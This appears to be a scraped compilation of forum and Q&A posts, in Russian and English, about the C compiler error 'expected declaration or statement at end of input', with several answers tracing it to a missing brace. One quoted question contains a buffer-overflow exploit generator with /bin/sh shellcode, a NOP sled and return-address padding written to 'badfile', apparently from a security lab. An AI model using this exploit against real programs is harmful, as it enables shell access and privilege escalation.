- Печать
Страницы: [1] Вниз
Тема: [РЕШЕНО]Пример из Кернигана и Ричи (Прочитано 4313 раз)
0 Пользователей и 1 Гость просматривают эту тему.
Kozak Illya
Родной пример из книжки не работал(компилятору не нравилось название функции getline(), при переименовивании оного работало).
На мой вариант GCC матюгается : expected declaration or statement at end of input (перевод google Ожидается декларация или заявление в конце входной)
Мой вариант :
« Последнее редактирование: 18 Мая 2010, 17:49:50 от Kozak Illya »
SergeyIT
В строке 28 надо заменить { на }
Извините, я все еще учусь
Kozak Illya
Огрооомное спасибо. 3 раза переделывал. Схемку рисовал, псевдокод писал
Кстати в чем схемки рисовать? (а то я по старинке на бумаге)
SergeyIT
Не рисовал, не скажу
Извините, я все еще учусь
Kozak Illya
Не закрывайте пожалуйста тему, может опять какой вопрос в процессе изучения возникнет.
truegeek
Появится новый вопрос, лучше открывайте новую тему.
- Печать
Страницы: [1] Вверх
Лизаветка 1 / 1 / 0 Регистрация: 01.05.2017 Сообщений: 34 |
||||
1 |
||||
01.05.2017, 21:41. Показов 35821. Ответов 13 Метки нет (Все метки)
Посмотрите, пожалуйста. Выдает ошибку expected ‘}’ at end of input, но скобки везде попарно
__________________
0 |
Джоуи 1073 / 635 / 240 Регистрация: 05.05.2015 Сообщений: 3,546 Записей в блоге: 2 |
|
01.05.2017, 21:53 |
2 |
а на какой строке вылетает ошибка?
0 |
284 / 232 / 114 Регистрация: 07.09.2016 Сообщений: 584 |
|
01.05.2017, 21:57 |
3 |
привыкайте нормально код форматировать. черт ногу сломит в такой писанине.
0 |
Джоуи 1073 / 635 / 240 Регистрация: 05.05.2015 Сообщений: 3,546 Записей в блоге: 2 |
|
01.05.2017, 21:59 |
4 |
Во-первых, если операция только одна, то операторные скобки необязательны (хотя бы не запутаетесь)
0 |
Лизаветка 1 / 1 / 0 Регистрация: 01.05.2017 Сообщений: 34 |
||||
01.05.2017, 22:07 [ТС] |
5 |
|||
вот полный код программы, выдает ошибку в последней строке, пробовала убирать частично код программы, ошибка уходит, если только убрать строки #include «teoria.h» и #include «teoria.cpp, выходит ошибка в них
0 |
Джоуи 1073 / 635 / 240 Регистрация: 05.05.2015 Сообщений: 3,546 Записей в блоге: 2 |
|
01.05.2017, 22:11 |
6 |
#include «teoria.cpp» что значит #include исходный код C++? Вы подключаете и хедер teoria.h и исходник teoria.cpp
0 |
Джоуи 1073 / 635 / 240 Регистрация: 05.05.2015 Сообщений: 3,546 Записей в блоге: 2 |
|
01.05.2017, 22:12 |
7 |
И учитесь уже обрамлять код тегами [CPP] Миниатюры
0 |
1 / 1 / 0 Регистрация: 01.05.2017 Сообщений: 34 |
|
01.05.2017, 22:15 [ТС] |
8 |
спасибо, впредь буду оформлять нормально, это мои первые 15 минут на данном форуме)
0 |
Джоуи 1073 / 635 / 240 Регистрация: 05.05.2015 Сообщений: 3,546 Записей в блоге: 2 |
|
01.05.2017, 22:16 |
9 |
Лизаветка, ну а насчет инклюдов Вы поняли?
0 |
Лизаветка 1 / 1 / 0 Регистрация: 01.05.2017 Сообщений: 34 |
||||||||
01.05.2017, 22:20 [ТС] |
10 |
|||||||
нет. я подключаю и то и то, без хедера ошибка остается.
и вот teoria.h
Что нужно убрать?
0 |
Джоуи 1073 / 635 / 240 Регистрация: 05.05.2015 Сообщений: 3,546 Записей в блоге: 2 |
|
01.05.2017, 22:22 |
11 |
Лизаветка, вопрос остается прежним: на какой строке и в каком файле возникает ошибка? Можно скриншот скинуть, если сами не разбираетесь
0 |
DU3 284 / 232 / 114 Регистрация: 07.09.2016 Сообщений: 584 |
||||
01.05.2017, 22:24 |
12 |
|||
Сообщение было отмечено Лизаветка как решение Решение нормально форматируйте не только тут на форуме, но и у себя в редакторе и такого рода проблем будет на порядок меньше.
1 |
Joey |
01.05.2017, 22:29
|
Не по теме: DU3, ждем
0 |
1 / 1 / 0 Регистрация: 01.05.2017 Сообщений: 34 |
|
01.05.2017, 22:35 [ТС] |
14 |
Спасибо за ответы) ошибка выволилась на последней строке основной программы, оказалось нет закрывабщейся скобки в файле teoria.cpp , спасибо за вопросы, буду работать над оформлением��
1 |
IT_Exp Эксперт 87844 / 49110 / 22898 Регистрация: 17.06.2006 Сообщений: 92,604 |
01.05.2017, 22:35 |
Помогаю со студенческими работами здесь Ошибка: Expected END but received ELSE … Ошибка: ‘END’ expected but ‘ELSE’ found Ошибка: ‘END’ expected but ‘UNTIL’ found interface uses Ошибка ‘Expected END but recieved’ interface Искать еще темы с ответами Или воспользуйтесь поиском по форуму: 14 |
void mi_start_curr_serv(void){
#if 0
//stmt
#endif
}
I’m getting an error as «error: expected declaration or statement at end of input» in my compiler. I could not find any error with the above function. Please help me to understand this error.
asked Jan 3, 2012 at 4:15
8
Normally that error occurs when a }
was missed somewhere in the code, for example:
void mi_start_curr_serv(void){
#if 0
//stmt
#endif
would fail with this error due to the missing }
at the end of the function. The code you posted doesn’t have this error, so it is likely coming from some other part of your source.
answered Jan 3, 2012 at 4:28
DRHDRH
7,75833 silver badges42 bronze badges
8
For me this problem was caused by a missing ) at the end of an if statement in a function called by the function the error was reported as from. Try scrolling up in the output to find the first error reported by the compiler. Fixing that error may fix this error.
answered Jan 28, 2015 at 21:54
You probably have syntax error.
You most likely forgot to put a }
or ;
somewhere above this function.
Kami Kaze
2,05914 silver badges27 bronze badges
answered Aug 2, 2016 at 7:35
2
For me it was a missing } bracket in a function called by the code where the error was reported. Was also reported on code calling the function that called the function missing the }. So can be hard to find if you do not know what you are looking for.
answered May 26, 2021 at 7:20
user3596809user3596809
411 gold badge1 silver badge6 bronze badges
Try to place a
return 0;
on the end of your code or just erase the
void
from your main function
I hope that I helped
answered Nov 5, 2016 at 22:24
For me I just noticed that it was my .h archive with a ‘{‘. Maye that can help someone =)
answered May 21, 2018 at 23:49
for anyone who tries to run a mpi program and gets the error above, deleting commends right before or after these symbols {
}
seem to do the trick.
I have both kali and ubuntu wsl, in kali the program runs fine but in ubuntu i had to delete the comments in order for the program to run
answered Dec 19, 2021 at 14:58
1
When I try to compile my code I get three errors all stating
«error: expected declaration or statement at end of input»
All pointing to the same line. The line changes depending on sections that I have commented out. The least amount of code I can leave still in the function while still getting the error is the declaration lines at the top of the function.
All other solutions point to there not being a closed bracket somewhere, but I have searched and cannot find one.
Any help would be appreciated.
void get_agents(struct Base* s) {
int count;
char c = 'A'; //temp char declartion
char temp1, temp2;
char *file, *extra, *line;
line = malloc(sizeof(char)*128);
file = malloc(sizeof(char)*256);
extra = malloc(sizeof(char)*256);
s->agentfile = fopen(s->agentfilename, "r");
while (c != EOF) {
fgets(line,500,s->agentfile);
c = line[0]; //gets first char from line
if (c != '#') {
struct Agent* newAge = malloc(sizeof(struct Agent));
struct Agent* agentNum = malloc(sizeof(struct Agent));
newAge->next = 0;
sscanf(line, "%d %d %c %s%c%s%c", &newAge->posx, &newAge->posy,
&newAge->name, file, &temp1, extra, &temp2);
agentNum = s->start //sets agentNum to the first agent in list
if (agentNum == NULL) { //does first agent exist?
s->start = newAge; //first agent in list
} else {
while (agentNum->next) { //is this not the last agent?
agentNum = agentNum->next; //get the next agent
}
agentNum->next = newAge; //else, set newagent to be new last
}
}
}
}
When I try to compile my code I get three errors all stating
«error: expected declaration or statement at end of input»
All pointing to the same line. The line changes depending on sections that I have commented out. The least amount of code I can leave still in the function while still getting the error is the declaration lines at the top of the function.
All other solutions point to there not being a closed bracket somewhere, but I have searched and cannot find one.
Any help would be appreciated.
void get_agents(struct Base* s) {
int count;
char c = 'A'; //temp char declartion
char temp1, temp2;
char *file, *extra, *line;
line = malloc(sizeof(char)*128);
file = malloc(sizeof(char)*256);
extra = malloc(sizeof(char)*256);
s->agentfile = fopen(s->agentfilename, "r");
while (c != EOF) {
fgets(line,500,s->agentfile);
c = line[0]; //gets first char from line
if (c != '#') {
struct Agent* newAge = malloc(sizeof(struct Agent));
struct Agent* agentNum = malloc(sizeof(struct Agent));
newAge->next = 0;
sscanf(line, "%d %d %c %s%c%s%c", &newAge->posx, &newAge->posy,
&newAge->name, file, &temp1, extra, &temp2);
agentNum = s->start //sets agentNum to the first agent in list
if (agentNum == NULL) { //does first agent exist?
s->start = newAge; //first agent in list
} else {
while (agentNum->next) { //is this not the last agent?
agentNum = agentNum->next; //get the next agent
}
agentNum->next = newAge; //else, set newagent to be new last
}
}
}
}
Когда я пытаюсь скомпилировать следующий код, я продолжаю получать сообщение об ошибке: ожидаемое объявление или оператор в конце ввода. Я понимаю, что обычно это происходит из-за того, что пропущена скобка, но я не могу ее найти. Я надеюсь, что другая пара глаз сможет заметить ошибку, на которую я смотрю уже некоторое время.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"x31xc0" /* xorl %eax,%eax */
"x50" /* pushl %eax */
"x68""//sh" /* pushl $0x68732f2f */
"x68""/bin" /* pushl $0x6e69622f */
"x89xe3" /* movl %esp,%ebx */
"x50" /* pushl %eax */
"x53" /* pushl %ebx */
"x89xe1" /* movl %esp,%ecx */
"x99" /* cdql */
"xb0x0b" /* movb $0x0b,%al */
"xcdx80" /* int $0x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
ret = get_sp()+offset;
printf("Return Address: 0x%xn",get_sp());
printf("Address: 0x%xn",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '';
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
Home »
C programs »
C common errors programs
Here, we will learn why an error expected declaration or statement at end of input is occurred and how to fix it?
Submitted by IncludeHelp, on September 09, 2018
The main cause of this error is – missing closing curly brace (}) of the main() block.
Example:
#include <stdio.h> int main(void){ printf("Hello world"); return 0;
Output
prog.c: In function ‘main’: prog.c:5:2: error: expected declaration or statement at end of input return 0; ^~~~~~
In this program, closing brace of the main() block is missing
How to fix?
To fix this and such errors, please take care of curly braces, they are properly opened and closed.
Correct code:
#include <stdio.h> int main(void){ printf("Hello world"); return 0; }
Output
Hello world
C Common Errors Programs »
void mi_start_curr_serv(void){
#if 0
//stmt
#endif
}
Я получаю сообщение об ошибке «ошибка: ожидаемое объявление или выражение в конце ввода» в моем компиляторе. Я не мог найти никакой ошибки с вышеупомянутой функцией. Пожалуйста, помогите мне понять эту ошибку.
Ответ 1
Обычно эта ошибка возникает, когда }
был пропущен где-то в коде, например:
void mi_start_curr_serv(void){
#if 0
//stmt
#endif
завершится с ошибкой из-за отсутствия }
в конце функции. Код, который вы опубликовали, не имеет этой ошибки, поэтому, скорее всего, он исходит из какой-либо другой части вашего источника.
Ответ 2
Для меня эта проблема была вызвана отсутствием) в конце оператора if в функции, вызванной функцией, о которой сообщалось об ошибке. Попробуйте выполнить прокрутку на выходе, чтобы найти первую ошибку, сообщаемую компилятором. Исправление этой ошибки может устранить эту ошибку.
Ответ 3
Вероятно, у вас синтаксическая ошибка
Вы больше всего забываете положить a} или;
Ответ 4
Попробуйте разместить
return 0;
в конце вашего кода или просто удалите
недействительным
из вашей основной функции
Надеюсь, что я помог
Expected Declaration or statement at end of Input
May be wrong:
1. A function or variable is not declared before it is used.
2. A parenthesis is missing somewhere.
Read More:
- C language error – [error] expected declaration or statemt at end of input— solution.
- error: expected declaration or statement at end of input
- error: a label can only be part of a statement and a declaration is not a statement (How to Fix)
- Error c2951: template declaration can only be used at the global, namespace, or class scope. Error c2598: link specification must be at the global scope
- error C2057: expected constant expression (Can the size of an array in C language be defined when the program is running?)
- C language string processing error warning, c4996, sprintf, predicted, c4996, strcpy, c4996, strcat
- 【.Net Core】using declarations‘ is not available in C# 7.3. Please use language version 8.0 or greate
- error: declaration may not appear after executable statement in block
- Unity “Feature `out variable declaration’ cannot be used because it is not part of the C# 4.0” error
- Error c2137 of C language: empty character constant (Fixed)
- When C language refers to a user-defined type as a parameter, an error segmentation fault is reported
- [!] Invalid `Podfile` file: syntax error, unexpected end-of-input, expecting keyword_end.
- Solution to error [error] LD returned 1 exit status in C language
- On the coercion of C language
- raise ValueError(‘Expected input batch_size ({}) to match target batch_size ({}).‘
- C language — to solve the problem of program flashback when programming (in VS)
- The function and usage of argc and argv in C language
- No qualifying bean of type ‘javax.sql.DataSource‘ available: expected at least 1
- Explain stdin, stdout, stderr in C language
- ValueError: Expected more than 1 value per channel when training, got input size torch.Size([1, 256,